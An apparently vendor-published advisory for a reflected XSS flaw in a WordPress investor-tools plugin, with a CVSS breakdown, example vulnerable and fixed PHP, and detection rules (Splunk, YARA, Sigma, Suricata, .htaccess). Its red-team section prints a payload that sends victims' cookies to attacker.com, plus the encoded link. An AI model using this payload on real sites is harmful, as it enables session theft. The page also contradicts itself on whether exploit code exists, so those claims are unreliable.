CVE-2025-47458
Executive Summary
CVE-2025-47458 is a Reflected Cross-Site Scripting (XSS) vulnerability discovered in the B2i Investor Tools WordPress plugin, developed by B2itech. The flaw exists in versions up to and including 1.0.7.9 due to improper neutralization of user-supplied input during web page generation. An attacker can craft a malicious URL containing a JavaScript payload that, when visited by an authenticated administrator or any user with access to the plugin's interface, executes in the context of the victim's browser session. This can lead to session hijacking, credential theft, or defacement of the WordPress admin panel. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The risk is primarily to WordPress site administrators who have installed this plugin. Supply chain risk is elevated because the plugin is unmaintained and no patch is available, meaning site operators must either implement a virtual patch or remove the plugin entirely.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – the vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed to trigger the reflected XSS.
- User Interaction (UI): Required – the victim must click a crafted link.
- Scope (S): Changed – the XSS can affect resources beyond the vulnerable component (e.g., WordPress admin session).
- Confidentiality (C): Low – limited data exposure (e.g., session tokens).
- Integrity (I): Low – limited ability to modify content.
- Availability (A): Low – limited ability to disrupt service.
Threat Level: High. Although the EPSS score is 0.0% (indicating low exploitation likelihood at the time of analysis), the lack of a patch and the plugin's presence in the WordPress ecosystem make it a prime target for automated scanning and targeted attacks.
Deep Dive & Mechanics
The vulnerability resides in the B2i Investor Tools plugin's handling of HTTP GET parameters. The plugin fails to sanitize or escape user input before reflecting it in the HTML response. Specifically, the plugin likely processes a query parameter (e.g., ?symbol=) and echoes its value directly into the page without proper encoding.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/?b2i_investor_tools=symbol=<script>alert('XSS')</script> - Victim (e.g., WordPress admin) clicks the link.
- The plugin processes the
b2i_investor_toolsparameter and reflects the unsanitized value into the page. - The browser executes the injected JavaScript.
- The script can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Root Cause: The plugin uses echo $_GET['b2i_investor_tools']; or similar without applying esc_html(), esc_attr(), or wp_kses().
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on the vulnerability type.
Vulnerable Code (PHP):
<?php
$symbol = $_GET['b2i_investor_tools'];
echo "<div class='b2i-symbol'>$symbol</div>";
?>
Patched Code (PHP):
<?php
$symbol = isset($_GET['b2i_investor_tools']) ? sanitize_text_field($_GET['b2i_investor_tools']) : '';
echo "<div class='b2i-symbol'>" . esc_html($symbol) . "</div>";
?>
The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install WordPress with the B2i Investor Tools plugin (version 1.0.7.9) on a local server (e.g., XAMPP, Docker).
- Ensure the plugin is activated.
Exploitation Steps:
- Identify the vulnerable parameter by inspecting the plugin's source code or using a web proxy (e.g., Burp Suite).
- Craft a payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - URL-encode the payload and construct the malicious link:
http://localhost/wordpress/?b2i_investor_tools=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send the link to the victim (e.g., via email or social engineering).
- On the attacker's server, capture the cookie from the incoming request.
Note: No public exploit code is available. The above is a generic XSS exploitation technique.
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for requests containing
b2i_investor_toolsparameter with suspicious patterns (e.g.,<script>,onerror=,javascript:). - Use a Web Application Firewall (WAF) to block requests containing XSS payloads in the
b2i_investor_toolsparameter. - Implement Content Security Policy (CSP) headers to restrict script execution.
- Deploy a virtual patch by adding a rule to block the vulnerable parameter.
Hunting Query (Splunk):
index=web_logs source="/var/log/apache2/access.log"
| search uri_query="*b2i_investor_tools=*"
| rex field=uri_query "b2i_investor_tools=(?<payload>.*)"
| where match(payload, "(<script|<img|onerror|javascript:)")
| table _time, clientip, uri, payload
Indicators of Compromise (IOCs)
- URL Pattern:
?b2i_investor_tools=<script>... - HTTP Request Parameter:
b2i_investor_toolscontaining HTML/JavaScript. - Referer Header: Suspicious referrers (e.g., attacker-controlled domains).
- User-Agent: Unusual or automated user agents (e.g., curl, python-requests).
- File Hashes (Plugin): No known malicious file hashes; the plugin itself is the vulnerable component.
Detection Engineering
YARA Rule
rule CVE_2025_47458_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting B2i Investor Tools plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-47458"
strings:
$param = "b2i_investor_tools="
$xss1 = /<script[^>]*>/
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/
$xss3 = /javascript\s*:\s*/
condition:
$param and any of ($xss*)
}
Sigma Rule
title: Reflected XSS Attempt Against B2i Investor Tools
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the b2i_investor_tools parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "b2i_investor_tools="
filter:
cs-uri-query|contains:
- "<script"
- "onerror="
- "javascript:"
condition: selection and filter
falsepositives:
- Legitimate use of the parameter with safe values (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-47458 Reflected XSS in B2i Investor Tools"; flow:to_server,established; content:"b2i_investor_tools="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a virtual patch using a WAF (e.g., ModSecurity, Cloudflare) to block requests containing
b2i_investor_toolswith XSS patterns. - Monitor logs for exploitation attempts using the provided detection rules.
Long-Term Fix:
- The vendor must release a patched version that properly sanitizes and escapes the
b2i_investor_toolsparameter using WordPress functions likeesc_html()andsanitize_text_field(). - If the plugin is abandoned, consider migrating to an alternative solution.
Workaround:
- Add the following rule to
.htaccess(Apache) to block malicious requests:RewriteEngine On RewriteCond %{QUERY_STRING} b2i_investor_tools=.*(<script|onerror|javascript) [NC] RewriteRule .* - [F,L]
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.